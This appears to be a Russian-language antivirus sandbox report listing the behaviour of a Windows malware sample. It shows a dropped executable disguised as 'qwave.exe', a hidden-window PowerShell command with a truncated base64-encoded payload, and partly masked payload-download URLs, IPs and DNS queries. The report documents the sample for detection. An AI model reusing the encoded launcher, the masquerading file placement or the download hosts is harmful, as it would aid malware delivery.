Техническая информация
- 'qwave' "%WINDIR%\SysWOW64\ieapfltr\qwave.exe"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABBADEAZQB6AGUAMwBjAD0AKAAoACcARwAzACcAKwAnAG4ANAA4ACcAKQArACcAMQBsACcAKQA7ACQATABwADEAbwA0AGsAeQA9ACQAUwBfAGsANwBmAGcAYQAgACsAIABbAGMAaABhAHIAXQAoADEAIAArACAAMQAgACsAIA...
- %HOMEPATH%\lqtz1wv\uptuxug\bgb5aox0.exe
- %WINDIR%\syswow64\ieapfltr\qwave.exe
- %HOMEPATH%\lqtz1wv\uptuxug\bgb5aox0.exe в %WINDIR%\syswow64\ieapfltr\qwave.exe
- '20#.#80.207.205':80
- http://tr#####portrepeat.com/wp-content/0/
- http://we####haveit.com/freeze-columns/KQiSFq7/
- http://tu###hair.com/blog/g3H/
- http://20#.#80.207.205/U45fKe4I/r15BqhT4/IadK4G1gfNFvJAd1uIt/szlshfM/fxK1ksFSG8vY00/
- DNS ASK tr#####portrepeat.com
- DNS ASK we####haveit.com
- DNS ASK tu###hair.com
- '%HOMEPATH%\lqtz1wv\uptuxug\bgb5aox0.exe'
- '%WINDIR%\syswow64\ieapfltr\qwave.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ENCOD JABBADEAZQB6AGUAMwBjAD0AKAAoACcARwAzACcAKwAnAG4ANAA4ACcAKQArACcAMQBsACcAKQA7ACQATABwADEAbwA0AGsAeQA9ACQAUwBfAGsANwBmAGcAYQAgACsAIABbAGMAaABhAHIAXQAoADEAIAArACAAMQAgACsAIA...' (со скрытым окном)